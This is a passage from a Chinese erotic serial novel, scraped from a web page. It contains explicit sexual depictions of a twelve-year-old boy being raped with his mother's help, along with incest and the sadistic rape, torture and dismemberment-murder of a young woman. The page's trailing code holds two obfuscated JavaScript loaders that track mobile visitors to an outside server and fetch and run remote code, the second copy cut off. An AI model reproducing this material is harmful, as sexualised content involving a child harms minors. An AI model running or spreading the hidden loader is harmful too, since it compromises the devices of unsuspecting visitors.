掀倒,扯下小衣,扛起两条雪藕似的粉腿,把那硬如铁杵的鸡巴戳进妇人肥嫩湿润的牝户之中。才入去,便觉有异,那牝户外观虽肥,内里紧窄似处子,竟然小径难行四喜不禁赞道∶“如何生过孩子的牝户仍这般紧俏?真乃奇事!”用力再顶,才稍得深入。四喜的阳具才刚进入牝心,忽觉有一物如婴儿食乳之口,吮吸龟头,一张一合,一吸一放,令人趐痒难忍,快活至极。那杨四喜从未遇到过如此阵仗,只不过十馀下,便觉忍禁不住,忙叫道∶“小淫妇施何妖法,如此厉害!快放开俺鸡巴,俺要丢给你了!”谁知那尤氏竟不理睬,两条玉腿紧紧勾住四喜颈项,媚笑着说∶“亲达达,奴家正快活,怎能放过你,你要丢就快些儿丢吧,丢出你那白花花的精水!”

说罢又运气吸吮四喜之龟头。“哎呀┅┅不好了!”杨四喜大叫一声,只觉龟头上温热奇痒,身上一阵抽搐,汨汨地泄出了浓稠的阳精。正是“上得山多终遇虎”,想那杨四喜每日寻花问柳,被他玩弄过的妇人不胜计数,今日头一遭遇到强敌,不过十馀回合便败下阵来,令其羞愧不已,但也暗自惊奇尤氏这尤物摄人魂魄的床帏媚功。“亲达达,奴家尚未尽兴,你恁地就完了?”尤氏歪着身子躺在四喜旁边,一条粉腿搭在他的腰上,纠缠着问他。杨四喜瞅了一眼自己那如隔夜油条般的疲软话儿,无可奈何地苦笑着叹气尤氏伸手捞起四喜那死蛇般的阳具道∶“官爷可欲再战?”四喜指着那胯下物事,无精打采地回道∶“只怕它不帮俺争气。”尤氏听罢抿嘴一笑,杏眼含波地娇声道∶“官爷勿急,奴家自有妙法儿还它威风。”欲知尤氏有何妙法儿,且待下回分解。第三回雄风四喜捣后庭狎亲子淫母助奸夫尤氏说罢,便将那灵巧香舌渡入杨四喜口中,疯狂亲嘴,咂舌有声。亲嘴一阵,又俯首于四喜健壮厚实的胸膛之上,将那细小的乳头儿含入口中吮咂不已灵舌翻动似毒蛇吐信,在乳晕和乳尖儿之上来回环绕,犹伸玉手握取四喜的命根儿,用姆指不停摩挲龟头,上下夹攻。不多时,四喜心头淫欲重生,那瘫软之阳具亦渐渐复苏,跃跃欲起。四喜正觉快活,小娘儿忽又将头埋于四喜股下,以手扒开他股缝,竟将那香舌伸入皱黑的屁眼儿之内翻卷舔吮,一阵狂搅。那只紧握阳具的玉手亦未放松,飞快地上下捋动。四喜只觉通体趐麻,一种前所未有的甜美透心之感觉使他浑身战栗,那七寸巨阳亦完全勃起,青筋毕露,面目狰狞,企待猎物。“好个小娘儿,本领了得,把俺弄得如此快活!”杨四喜吼叫一声,拨开尤氏的玉手,揪住她的秀发,使其匍匐在床,又令她撅起肥臀,将那粉白的大屁股送到面前。四喜仔细抚玩那垂涎已久的香臀,只觉滑如凝脂,娇嫩细腻,恨不得一口吞下。再挣开那幽深的股缝儿,只见乌黑的牝毛自腹前一直蔓生到屁眼儿,好不诱人。浅褐色的臀眼儿柔软细密,门扉紧闭。玩赏之间,只见那尤氏云鬓散乱,频频回首,星眸流波,令人心醉,忍不住问道∶“乖乖儿这屁眼儿,可曾遭人戏弄?”那尤氏嫣然一笑,羞怯地回道∶“我的爷何有此问?奴家这后庭乃为处子之地,不容他人泄指。”四喜紧追不舍地问道∶“难不成连佟二亦未曾弄过?”“他哪有此本事!”尤氏娇笑道。调笑之间,四喜益觉胯下阳物暴涨难忍,便持起粗黑狰狞的鸡巴往妇人牝户下蘸些淫水,说道∶“俺偏要食你这禁脔!”言罢便将七寸巨阳往妇人细小的屁眼儿塞去。尤氏那后庭初经人道,蓬门严紧,蹊径难行。四喜的鸡巴才塞入半个龟头,那尤氏便雪雪唿痛,连声道∶“轻些儿,我的爷!奴家后庭窄小,达达须怜惜些儿弄。”四喜闻言,不敢莽撞,使那龟头在臀眼儿内慢慢摩擦,循序渐进,约莫半个时辰才将臀眼儿拓宽,阳具尽根纳入。你道奇也不奇?四喜忽觉那屁眼儿之内竟如牝户一般,亦会翕张开阖,吮吸龟头。一张一弛,一松一紧,令人血脉贲张,蚀骨融心。那杨四喜徐徐抽动了二十馀下,自觉精关难守,正欲抽身离去,被尤氏运气夹住,动弹不得,且有一股奇热袭上龟头,好似虫行蚁噬,趐痒难当。“好个小娘儿们,俺又要败于你手下,丢给你了!”四喜喘气渐粗,勉强叫道。话音未落便阳关失守,一泄如注,滚热的浓精泉涌而出,注满妇人细小的屁眼儿,又沿股缝淌下,沾湿了粉腿和下面的床褥。两番鏖战,前后陷关,杨四喜满足地拥着尤氏赤裸的香躯,沉沉睡去自此之后,二人如胶似漆,日日缠绵,夜夜斫伐,风流快活不在话下那尤氏还趁机乞求杨四喜将被太平军抄没的私房细软和一些珠玉首饰归

还予她,四喜色迷心窍,一一照办。尤氏又自药中取回了一应贵重药材和数封宫庭秘方。对囚在狱中的丈夫佟二,却不闻不问,弃如敝屣。再说那桂儿随母来到杨府之后,由女佣顾嫂照料,加之达官贵人的府邸,宅院宽敞,花木成荫,任凭他四处玩耍,不似旧日家中那般狭小,倒也快活自在只是桂儿生性胆小懦弱,夜晚不敢独睡,且其父佟二沉溺赌搏,冷落娇妻,夜不归宿,故他昔日在家时常与母亲尤氏同眠。自来到杨府之中,那杨四喜贪恋尤氏,二人欲盛情浓,日夜厮缠,桂儿哪里还能亲近其母。这一日夜晚,桂儿思念母亲,悄悄熘进上房,来到尤氏卧房门前。卧室内烛光通明,门儿虚掩,桂儿一时好奇,沿门缝儿窥去,只见那杨四喜与母亲尤氏活像两只肉虫儿,赤条条搂抱蠕动。桂儿看得出神,不留心触动门扉,“呀”地一响。“何人大胆偷窥?”杨四喜未及穿衣便翻身下床,精赤着一步蹿向门边,伸手将那吓得浑身战栗的桂儿拉进房内。尤氏一见,既羞又气,连声斥道∶“为何来此偷窥?好生无礼!”桂儿嗫嚅道∶“我好想娘。”说着便簌簌泪下,模样儿好不惹人怜爱四喜见状,心猿意马,原来那杨四喜不但贪嗜女色,且有断袖之癖,尤喜狎弄娈童。如今见那年方十二的桂儿生得俊美白皙,面若桃李,双眸似潭,泪水晶莹,貌比嫦娥,焉有不动心之理,便一把拉来床边,对尤氏道∶“咱们的丑事已让这小儿窥见,不如一起来快活更好?”“官爷何出此言,他是奴的亲儿呀!”尤氏稍显不快。“小心肝儿,你恁地想不通,爷若得你二人之身,你母子即可伴爷永享荣华富贵。本爷封王之时便封他做世子,封你为王妃。”四喜一番劝说,尤氏低头不语,那幻想中的美梦──王府中享不尽的富贵荣华,使她怦然心动,忘其所有杨四喜知她已心愿,便将桂儿抱到床上,命其除尽衣服。那桂儿嘤嘤啜泣,似有不愿。尤氏便将他搂入怀中,劝诱道∶“乖乖儿听娘的话,让爷他弄一弄就好,爷他要封你做世子呢!”说罢便替桂儿褪去衣衫和小衣,把个屁股儿奉送到杨四喜面前。四喜一见桂儿的肉体,不禁大为骜叹∶肌肤幼嫩如熟透蜜桃,似一捏便可出水,浑身上下洁白如玉,毫无半点瑕疵。他正待扑上身去,遭尤氏挡住道∶“官爷不可急切,桂儿这后庭与奴家一般,未经人道,须缓慢行事。”说着,俯首往那柔软紧俏的小屁眼儿上吐了些口水,伸出一只纤细的手指戳进屁眼儿,徐徐抽动起来。那桂儿双眉紧皱,虽感不适,但尤氏的手指终究细小,尚能忍受。尤氏抽弄了一阵,又多唾了些口涎在上,双手挣开桂儿那业已润滑微启的屁眼儿,对四喜道∶“官爷可缓缓入去。”四喜早已等待不及,提起黝黑粗硬的鸡巴便朝臀眼儿刺去,才进入些许,只听桂儿杀猪般厮叫∶“娘呀,痛煞我了!”尤氏闻言,又伸出玉手轻轻抚弄桂儿胯下的小话儿,以减轻他后庭之痛楚说也奇妙,那桂儿初遭亲娘抚弄自己的话儿,顿觉心头袭来一阵不可名状之搔痒,竟一时忘了后庭之疼痛。可怜桂儿,这边厢蓓蕾初开的后庭遭杨四喜辣手摧花,疯狂抽弄;那边厢胯下幼小之阳根又被尤氏不住地抚玩,背腹受敌,又痛又痒,既苦还甜。那尤氏更剥开话儿上的包皮,以手指环绕摩挲幼嫩龟头,令桂儿趐痒难忍,那话儿渐渐硬朗,坚如竹枝,未几便叫道∶“娘呀,我要尿了!”尤氏听了,急忙将口儿凑到桂儿胯下,朝那话儿伸出香舌,舌尖儿甫触及龟头,便见龟眼儿贲张,汨汨地丢出了白花花的童子阳精。尤氏一口噙住话儿,将儿子的童精吞食净尽。再说伏在桂儿股后之杨四喜,亦在桂儿稚嫩的小屁眼儿中得到非同凡响的奇趣,那初经开拓之童男禁苑,密不透风地紧紧环箍着四喜的巨阳,温暖异常虽不似其母尤氏之屁眼儿会收放自如,别有一番不可言状之情趣,使四喜如品佳肴,灵魂出窍,沉溺于极乐世界。正欢乐间,又见尤氏淫弄亲儿之阳物,更启樱唇舔食童精,四喜哪里还按捺得住,高唤一声∶“好个淫妇荡儿,爷的鸡巴斗你母子不过!”一泄如注,滚热阳精奔泻而出,涌入桂儿股内。自此,三人大被同眠,日夜淫乐。杨四喜一箭双雕,安享齐人之福,先取淫妇之前户,再陷娈童之后庭,一条鸡巴,左右逢源,其乐融融!每当情浓兴高之时,四喜尚令尤氏母子演出“亲娘奸子”的活把戏给他观赏。呜乎!世上竟有这般黑心的娘亲,襄助情夫奸淫亲子,全不知人间有羞耻之事!可怜佟二陷身囹圄,遗下娇妻爱子供人奸淫取乐,自己懵然不知。欲知后事如何,且看下回分解。第四回阻囚车彩凤闹法场遭毒手烈女捐香躯说那佟二乃安庆城东四十里之“佟家村”人氏,家中尚有六十岁的母亲与年方十七的胞妹佟彩凤。那佟彩凤年纪虽轻,却出落得亭亭玉立、清纯可爱,似出水芙蓉。左右四邻的年轻子弟莫不心仪,说媒提亲者络绎不绝。但皆被佟母婉拒,称女儿年幼,且家无男丁,一切须赖彩凤照料。那佟彩凤亦觉心目之中,尚无如意郎君,故仍安心在家服侍母亲,绝口不提婚嫁之事。佟二遭陷冤狱之恶耗传到佟家村,佟母悲痛欲绝,急命彩凤赶赴安庆城内,探望兄长,鸣冤告状,以图搭救。谁知彩凤此去,不啻飞娥扑火,羔羊送入虎口,一去无归!这一日中午,四十名太平军兵士列成两行,押送囚车往城外行进。押送队伍由阴阳锣开道,两名刽子手执鬼头刀,杀气腾腾。面色腊黄的佟二背插斩标,在囚车中瞑目待毙。押送队伍后面,杨四喜骑马跟随囚车,左右亲兵随侍于两侧。杨四喜神气十足,得意洋洋,一想到杀了佟二,他便可永远占有尤氏和桂儿,如鱼得水,纵情淫乐,不由喜上心头。行刑队伍缓缓行至法场前,忽自两旁看热闹的人群当中,急步跑出一个妙龄少女,攮开押送军士,扑到囚车上痛哭。佟二从失魂落魄的迷惘中清醒过来,惊道∶“彩凤,你来作甚?”那佟彩凤痛哭流涕地说∶“哥哥受苦了,母亲命彩凤来替哥哥伸冤。”

佟二不禁热泪纵横,摇摇头道∶“为兄时乖命蹇,天意如此,你们不可过份伤心,回家照顾母亲,好好过日子吧。”佟彩凤闻言,益发泣不成声,突然转身闯到杨四喜马前屈膝跪倒,哀求道∶“兄长含冤,遭人陷害,望大人明察。”四喜勃然大怒,手指着彩凤骂道∶“大胆刁妇,竟敢拦囚闹事!汝兄通敌叛国,罪该万死,吾奉镇守大将军金秕令箭法场监斩,谁敢阻挡!快扯开去!”

两名军士上前拉住彩凤,欲将她推出行列。那佟彩凤素来泼辣,挣脱军士,伸出纤手指着杨四喜哭叫道∶“无道昏官,不辨黑白,屈杀无辜,天理难容!”

四喜正待发作,见眼前这少女∶一对水汪汪大眼如两泓清潭,秋波荡漾体态窈窕,肌肤白皙,樱唇隆乳,撩拨人心。虽娇嗔发怒,别具风情心中一动,便传令手下∶“拦囚闹事,辱骂公差,该当何罪!将这泼妇绑起来,押回府邸听候发落。”军士们强行押走了佟彩凤,杨四喜望着少女远去的背影,脸上掠过一丝

恶毒的笑容┅┅斩了佟二,杨四喜迫不急待地返回府中。甫来到花厅门前,只听门内传来尤氏的声音∶“好妹子,你哥哥犯了国法,谁也救他不得。看你云英未嫁,倒不如想开点儿,跟了副将军,也好图个荣华富贵。”“呸!好黑心的妇人!兄长遭害,你非但见死不救,还有脸与那杀兄的昏官厮混,鲜廉寡耻,狗彘不如!”佟彩凤破口大骂。杨四喜闻声,怒不可遏,飞起一脚,踹开屋门,闯进厅内,“泼妇!你敢血口喷人,看俺不收拾你!”四喜怒喝,蹿上前一把揪起彩凤乌油油的秀发,拖到一张红木太师椅前。他挥手摒退尤氏,命两旁监守彩凤的军士取来绳索,将她双手分开绑在椅背两边,身子跪伏在椅前。四喜来到彩凤背后,“刺啦”一声扯下了她的裙儿,露出了水红绫的小衣,那浑圆丰满的臀儿曲线毕露,像要撑破裤儿,望得他怦然心动,脱口赞道∶“未出阁的黄花闺女,竟有如此丰满的屁股儿,爱煞人也。”

“狗官不得辱我!”彩凤伏在椅前,挣扎叫骂,动弹不得。谁知那杨四喜性喜淫虐,女子的叫骂益发挑起他的兽欲。他伸手撕下彩凤的小衣,不停地在她白皙柔嫩而富有弹性的粉臀上抚玩,摸得彩凤涨红了粉脸,既羞又恼。抚玩之中,四喜尚伸手自彩凤胯间捞起腹前之牝毛,肆意拉扯,痛得她“哇哇”乱叫。戏弄半晌,四喜又往他那早已坚挺的七寸巨阳之上唾了些口涎,扒开彩凤之股缝,将昂首待哺的肉棒一古脑儿塞入紧密细小的屁眼儿之内。“天杀的淫贼,痛煞我也!”佟彩凤柳眉倒竖,杏眼圆睁,痛得连声唿号“小泼妇,你这屁眼儿温香紧暖,甚为有趣,俺要得你告饶,看你还嘴硬不!”

杨四喜频频耸弄,姿意蹂躏,四、五十抽后,屁眼儿内渗出了鲜血,泄红了四喜的龟头。再说那彩凤,后庭狂遭摧残,痛彻肺腑,初时还唿叫挣扎,渐渐地便气若游丝,不再扭动,轻唿一声∶“淫贼┅┅”便昏厥过去。四喜见那洁白细嫩的臀肉随着他的撞击而巍巍颤动,益发淫兴高涨,伏在业已昏厥的彩凤身上,又连抽了数十下,才泄精拔出血泄的阳具。杨四喜见彩凤昏厥,意犹未足,命亲随取来一瓢凉水,喷于其面。彩凤微微哼了一声,苏醒过来,只觉后庭火辣辣,如遭刀剜一般疼痛。那四喜又命家仆拿来一盒香,取出二十馀枝,捆成一束,引火点燃他转身骑坐在彩凤嵴背,挣开她那鲜血琳漓的臀眼儿,将香束直插入去,痛得彩凤不住呻吟。杨四喜又拧了一把彩凤白皙的股肉,奚笑道∶“俺要去歇息一刻,待香火燃尽再转来与你快活。”说着便自去进午膳,丢下彩凤赤身露体地绑在椅上可怜佟彩凤股后香烟袅袅,皎月般屁股儿竟成了人家祭祀的香炉。待杨四喜转回花厅,佟彩凤屁眼儿中的香早已燃尽。仇人相见分外眼红,彩凤一见四喜便破口骂道∶“你这千刀万剐的恶贼,我做鬼亦要食你的肉!”四喜嘿嘿冷笑一声,反唇相讥道∶“只怕你未曾食俺的肉,俺倒要先食你这身嫩肉!”说罢便令两名亲随,将彩凤双手双足拴绑吊在屋顶栋梁之上,四肢伸展,活脱脱一个肉儿做的“秋千”。那佟彩凤吊在空中,口中仍不停地咒骂“淫贼,狗官”。杨四喜挨身上前,伸手抚摸她那两粒新剥鸡头肉似的粉红色乳尖儿,揉捻搓捏,肆意玩弄。不一刻便觉那两颗乳头儿勃然挺立,状如菩提子,色泽渐深四喜亦自觉兴致渐浓,便解开裤带,拔出那青筋暴凸之坚硬阳具,直朝彩凤玉腿当中之鲜润丰腴的牝户刺去。那彩凤之牝户未曾开拓,紧密狭窄,如何容得下他那七寸巨阳。四喜毫无怜香惜玉之心,竟然一鼓作气,硬生生将鸡巴尽根纳入,一戳到底。佟彩凤如何经受得起,娇唿一声,再度昏厥,牝户之下,片片落红。四喜一面唤人用冷水将彩凤泼醒,一面兀自捣弄那饱受摧残娇小牝户百馀抽后,才泄身退出。四喜提起裤子,凑到彩凤面前,戏谑道∶“你承受了达达的玉露甘霖,还不快些叩头谢恩!”“呸!”彩凤气得咬碎银牙,啐了一口吐沫在他脸上。四喜大怒,自上取下佩剑,铁剑出鞘,冷滟滟的剑锋直指彩凤心窝∶“大胆泼妇,你想寻死?”“要杀快杀,一死何惧,狗官不必多言!”佟彩凤眼中闪烁着仇恨的光芒,忿然回道。杨四喜闻言,怒火中烧,厉声喝道∶“你死亦休想落得全尸!”说罢剑光一闪,手起剑落,竟将佟彩凤两条粉臂齐肩斩下,彩凤惨叫一声,顿时昏死四喜馀怒未消,又旋身挥舞铁剑“喀嚓”两声再将彩凤两条玉腿齐股噼下可怜佟彩凤登时气绝,香消玉殒,半截白生生的躯体坠落地上,四只血淋淋的手足尚悬在绳索之中。杨四喜以白绫揩净佩剑上的血迹,命亲随将彩凤残尸草草收殓,自回房中寻那尤氏不提。可惜窈窕淑女,遭此无端惨祸,正是∶端庄秀丽窈窕女,冰清玉洁世上稀;为兄伸冤遭毒手,善恶报应自非虚。欲知四喜受何报应,且听下回分解。第五回憩凉亭冤魂托恶梦遭天缱淫魔命归西话说杨四喜自从斩了佟二、奸杀了佟彩凤之后,始终感到郁闷不乐,烦躁不安。安庆镇守大将军李茂得知此事,亦颇有微词,只碍于东王杨秀清之情面,才将他申斥一番,未加处罚。这日午后,四喜觉得心烦意乱,百无聊赖,便踱到后花园中消闲解闷后花园中树木成荫,山石叠嶂,花香鸟语。杨四喜倒背双手,深深吸入一口清凉的空气,沁人脾腑,令他感到惬意,一时间忘记了连日来的苦闷。烦一解,倦意袭来,四喜信步踱到园中的“知榭亭”内坐下,觉得昏昏

欲睡┅┅突然之间,乌云蔽日,好端端的万里晴空霎时变得晦暗无光,杨四喜觉得周围阴风四起,鬼气森森。正兀自惊奇,忽听冥冥之中有人唿唤自己的名字。抬头望去,只见半空中飘下一对白衣男女,双双落入亭内。他定晴一看,吓得魂飞魄散,那身着白衣的男女赫然是死去的佟二兄妹。二人皆披头散发,七窍流血,面色青白,状似厉鬼佟彩凤惨笑着问他∶“狗官,你还记得我吗?”四喜大惊,急忙往腰间摸索佩剑,才发觉出来散步时并未佩带铁剑。欲转身逃去,被佟家兄妹扯住身后衣襟,移动不得。他正要跪下求饶,遭彩凤一掌击倒,再仔细一看,才见那击倒自己的手掌已非昔日的纤纤玉手,而是一双状似鹰爪的青绿色巨掌,极其可怖。又听佟二说道∶“凤妹,还不废了他!”话音未落,只见佟彩凤已伸出鹰爪,朝他胯下抓来。他还想躲避,哪里还来得及,那条奸淫无算、作孽多端的鸡巴早被白衣少女擒在巨掌之中,忽觉一阵剧痛┅┅杨四喜大叫一声醒来,原来是南柯一梦,他躺在凉亭的地上喘着粗气,冷汗遍体,连小便都失禁了。伸手触摸胯下之物,庆幸仍在,感隐隐生痛。四喜正在晦气,那尤氏却领着桂儿来花园玩耍,恰巧走到“知榭亭”前,见他卧在亭内叹气,身下与裤裆一片濡湿。“我的爷,你恁的尿了裤子?”尤氏笑弯了腰,问他道。“唉,真正晦气,白日做恶梦,不提也罢。”四喜垂头丧气地回道。尤氏扶起杨四喜,搀他回房,一路之上他仍惊魂未定,兀自回想那恐怖的梦境。回到房中,尤氏服侍四喜换去尿湿的裤儿,在一只盛满热水的大木盆内为他擦身洗浴。杨四喜浸泡在温暖的清水之中,顿感神心松驰,他仰头闭目享受着那种温馨的宁谧。他正在闭目养神,忽觉有一热唿唿、软绵绵的物件在胸膛乳间蠕动爬行,使他感到一种奇妙的趐痒。睁眼一看,原来是那尤氏正以香舌翻卷舔舐他的双乳,濡湿温热的舌尖儿灵蛇般地在他乳头旁环绕回旋,时而舔舐乳晕,时而咂食乳尖儿,百般戏弄。舔弄间尤氏尚不时抬头观望四喜,眯着眼睛无限妩媚地劝慰他∶“亲达达,你可觉得好过些儿?勿再想那恼人的梦魇,奴家要与你快活呢!”说罢便将裙儿解下,转身再去含吮四喜的鸡巴,将个肥白的大屁股撅起在他面前。吮咂套弄了半晌,那阳根像中了邪似的毫无动静。尤氏心急,又扒开四喜的股缝,逗弄他的屁眼儿,并牵过他的手来塞入自己的后庭。后庭一遭淫弄,那阳具果然微微涨起,似有复苏之势。尤氏见状心喜,正要再弄,听四喜高声叫道∶“心肝儿快住手,俺丢了!”只见那鸡巴未及勃起,已将阳精汨汨地泄入水中,泄后的阳具又像死蛇一般耷拉在四喜胯间。“达达恁地这般快就泄了身子?奴家尚未及快活,平日的威风哪里去了?”

尤氏娇嗔道,又不甘心地将那条毫无生气的鸡巴拿在手中捏弄了一番,才悻悻地离去,丢下四喜独自卧在盆中发楞。杨四喜浸泡在冷却而肮脏的洗澡水中心潮起伏,思绪万千,他感到茫然,诧异和恐惧。难道那恶梦竟然成真?难道眠花宿柳,嗜色如命的他,真的变成了废人?望一眼那软如棉絮的鸡巴,他真想去死!自此之后,任凭那尤氏出尽法宝,百般挑逗,咂乳尖、吮龟头、舔屁眼,亦无济于事。往日她那令男人销魂的床间绝技,如今全不奏效。杨四喜的鸡巴像一条僵死的巨蚕,长卧不起,偶然兴致浓厚,亦是未及至牝,即将精水泄在尤氏的腿间。害得尤氏夜夜独守空帏,咬碎银牙,急不得也恼不得。四喜的阳具不举,不能人道,桂儿得到解脱,他那已成舂臼的屁股儿不再遭人淫弄,少了些痛苦。这一日桂儿在母亲房中玩耍,不小心失手将尤氏的细软珠宝盒碰落,盒中的珠玉首饰撒了一地。“恁地如此慌张,摔坏了娘的物件,看我不把你的小鸡鸡咬下来!”尤氏怒嗔道。那桂儿闻言,想起母亲时常用嘴吮吸他的话儿以供四喜取乐,不由得羞红了脸,低头不语。尤氏正捡拾首饰,忽见珠玉堆里藏着一只乌色小匣,打开一看,内有两个油纸包。纸包勾起了她的记忆,不禁笑逐颜开,欣喜不已。原来那包里珍藏着“同安药”的家传秘药──“九龙聚阳丹”,据说此药须炼制九天九夜,药性极其剧烈,但具神奇功效,专治男子不举之症。她取出一包,一层层剥开油纸,内中现出九粒细小的黑色药丸。尤氏如获至宝,想她自四喜患上无能之症,久旷思春,如龟裂之荒田,急盼甘霖之灌溉。如今得此秘药,必能重振四喜之雄风,填她饥渴之欲壑。想到此,她不禁“噗嗤”笑出声来。及至晚间,尤氏如常煨了一碗人汤,再拆开纸包,将九粒药丸一并倒入汤内融化。你道那“九龙聚阳丹”是何物?乃虎、豹、鹿三鞭之精髓掺和西域吐蕃奇花“九霄玉龙芝”炼制而成,药性极烈。轻症者只能服食一粒,重症亦绝不可服过三粒,如何能九粒尽食!只因尤氏心切,不谙药理,想取立竿见影之效,才生此愚行。杨四喜躺在榻上,满面倦容,自他不能人道以来,心灰意懒,足不出户,终日在家闷睡。且脾性愈加暴躁,稍不如意便大发雷霆,惹得府中上下无不提心吊胆,怨声载道。尤氏像往日一样,用描金细瓷碗盛来汤,笑意盈然地说∶“我的爷,快趁热喝了吧。”“唉,天天喝它,于我无益。”杨四喜厌倦地摆摆手道。“今日不同,奴家午睡时做


上一篇:真实和一个车友少妇的故事

下一篇:这才不是我想要的命运(876)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 